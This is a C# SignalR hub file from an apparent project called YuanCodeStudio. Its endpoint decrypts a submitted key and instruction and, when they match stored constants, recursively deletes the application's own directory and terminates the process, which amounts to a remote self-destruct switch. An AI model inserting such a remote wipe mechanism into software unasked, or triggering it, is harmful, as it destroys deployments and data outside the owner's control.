﻿using Furion.InstantMessaging;
using Microsoft.AspNetCore.SignalR;
using YuanCodeStudio.Const;
using YuanCodeStudio.Utils;

/*
 * 类名：YuanCodeStudioHub
 * 描述：
 * 创 建 者：十一 
 * 创建时间：2024/6/26 0:16:14 
 */
namespace YuanCodeStudio
{
    [MapHub(StaticConst.MAPHUB_PATTERN)]
    public class YuanCodeStudioHub : Hub
    {
        public async Task SendDeleteSelfAsync(string messgae, string key)
        {
            messgae = CryptogramUtil.Sm2Decrypt(messgae);
            key = CryptogramUtil.Sm2Decrypt(key);
            if (key.Equals(StaticConst.SELF_DESTRUCT_KEY))
            {
                if (StaticConst.INSTRUCT.Equals(messgae))
                {
                    await Clients.All.SendAsync("ReceiveMessage", "自毁机制将在3秒后执行");
                    await SelfDestructAsync();
                }
            }
            else
            {
                await Clients.All.SendAsync("ReceiveMessage", "Key值错误");
            }
        }

        private static async Task SelfDestructAsync()
        {
            try
            {
                await Console.Out.WriteLineAsync("开始自毁....");
                await Task.Delay(TimeSpan.FromSeconds(3));
                var currentDirectory = AppDomain.CurrentDomain.BaseDirectory;
                Directory.Delete(currentDirectory, true);
                await Console.Out.WriteLineAsync("自毁完成，准备停止运行");
                Environment.Exit(0);
            }
            catch (Exception ex)
            {
                await Console.Out.WriteLineAsync($"自毁失败：{ex.Message}");
            }
        }
    }
}
